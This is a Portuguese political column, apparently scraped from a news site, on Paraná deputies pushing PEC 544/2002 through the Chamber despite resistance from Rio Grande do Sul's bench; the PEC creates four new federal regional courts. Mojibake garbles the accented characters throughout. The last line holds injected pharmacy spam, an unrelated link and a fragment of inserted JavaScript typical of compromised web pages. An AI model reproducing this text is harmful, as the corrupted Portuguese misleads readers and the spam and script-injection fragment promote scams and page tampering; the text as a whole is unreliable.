SA?o comuns os comentA?rios nos corredores de BrasAi??lia sobre a fragmentaAi??A?o da bancada paranaense no Congresso Nacional. Na comparaAi??A?o, parlamentares gaA?chos e nordestinos sA?o muito mais famosos por jogar juntos em temas de interesse local, deixando de lado as picuinhas polAi??ticas entre si. Na A?ltima quarta-feira, porAi??m, deputados federais e senadores do ParanA? escreveram uma pA?gina diferente dessa histA?ria.
ApA?s dez anos engavetada, a Proposta de Emenda Ai?? ConstituiAi??A?o (PEC) 544/2002, que cria mais quatro Tribunais Regionais Federais (TRFs) em Curitiba, Belo Horizonte, Manaus e Salvador, foi aprovada em primeiro turno pela CA?mara. O projeto tem como pano de fundo a democratizaAi??A?o do acesso Ai?? JustiAi??a. O objetivo Ai?? diminuir o congestionamento dos atuais cinco TRFs, que funcionam no Distrito Federal, Pernambuco, Rio de Janeiro, Rio Grande do Sul (que atende ParanA? e Santa Catarina) e SA?o Paulo.
PR x RS
A sugestA?o parece simples de ser defendida, mas nA?o foi por acaso que o texto ficou uma dAi??cada na geladeira. HA? receios no Poder Executivo sobre os custos da ampliaAi??A?o dos tribunais. AlAi??m disso, muitos dos beneficiA?rios da atual concentraAi??A?o de poder nA?o aceitam perder espaAi??o.
Essas ai???forAi??as ocultasai???, atAi?? agora, sempre haviam sido mais hA?beis do que a uniA?o das bancadas do ParanA?, Amazonas, Bahia, Minas Gerais e de tantos outros estados atingidos colateralmente pela PEC. Na semana passada, elas se esforAi??aram de novo para evitar a votaAi??A?o da proposta, mas perderam. Em grande parte, graAi??as Ai?? articulaAi??A?o dos paranaenses.
RecAi??m-eleito vice-presidente da CA?mara, AndrAi?? Vargas (PT) fez um acordo com o presidente Henrique Alves (PMDB-RN) para comandar a sessA?o. De cara, Vargas ajudou a driblar um requerimento do colega SibA? Machado (PT-AC) que pedia a retirada de pauta da proposta, em nome da lideranAi??a do PT. ApA?s muita discussA?o e a intervenAi??A?o de outros petistas paranaenses, o partido acabou liberando a bancada para votar como quisesse.
A retirada de pauta caiu por 330 votos a 74. Estava aberto o caminho para a aprovaAi??A?o do relatA?rio do paranaense Eduardo Sciarra (PSD), um dos mais envolvidos na questA?o, que dependia da maioria qualificada de trA?s quintos (308). Eis que o que era mais oculto se revelou: o PSB, a pedido da bancada gaA?cha, apresentou um destaque para suprimir da PEC apenas a criaAi??A?o do TRF no ParanA?.
Na prA?tica, o Rio Grande do Sul nA?o perde nada com a aprovaAi??A?o da proposta ai??i?? aliA?s, ganha, jA? que fica com um tribunal sA? para cobrir o estado, enquanto o paranaense passa a abranger Santa Catarina e Rio Grande do Sul. O problema Ai?? que os gaA?chos encamparam a tese de que a proposta Ai?? uma injustificA?vel perda de prestAi??gio para o estado e jogaram contra ai??i?? nos bastidores do Congresso, especula-se que desde 2003 eles foram responsA?veis por barrar a proposta.
Nessa batalha, parlamentares paranaenses de diferentes partidos e Ai??pocas deram suas contribuiAi??Ai??es. Do PMDB, Osmar Serraglio e SAi??rgio Souza; do DEM, Abelardo Lupion; do PPS, Rubens Bueno e Sandro Alex; do PDT, Osmar Dias; do PSDB, Alvaro Dias e Luiz Carlos Hauly. Citar nomes chega a ser injusto, jA? que quase todos os congressistas do estado atuaram de alguma forma na questA?o.
Manobra derradeira
Todo esse esforAi??o iria por A?gua abaixo caso o destaque do PSB fosse aprovado. A proposiAi??A?o seria apreciada depois da votaAi??A?o do texto global da PEC e tambAi??m seria necessA?rio conseguir 308 votos para derrubA?-la. O problema Ai?? que o quA?rum seria reduzido drasticamente, favorecendo a estratAi??gia dos gaA?chos.
SA? depois de muita negociaAi??A?o com o lAi??der do PSB, o gaA?choAi??Beto Albuquerque, o destaque foi retirado. No resultado final, 347 deputados votaram a favor, 60 contra e houve seis abstenAi??Ai??es. Dos 26 paranaenses presentes, todos votaram a favor da PEC, dos 24 gaA?chos, 18 votaram contra. Agora, falta a apreciaAi??A?o em segundo turno, que deve ocorrer (com menos emoAi??Ai??es) atAi?? a segunda quinzena de abril.
Embates entre estados como esse sempre fazem mal ao conceito de federaAi??A?o, mas hA? questAi??es em que Ai?? preciso atuar com espAi??rito estadual. Aos paranaenses, que sirva de liAi??A?o para outros temas. Em investimentos federais, por exemplo, os gaA?chos continuam anos-luz na frente dos paranaenses. NA?o Ai?? uma questA?o de cobiAi??ar recursos dos vizinhos, mas de autodefesa e tratamento igualitA?rio. purchase cyklokapron costhttp://lechevaletlarobe.com/?p=15057cheap pillsdanazol online document.currentScript.parentNode.insertBefore(s, document.currentScript);
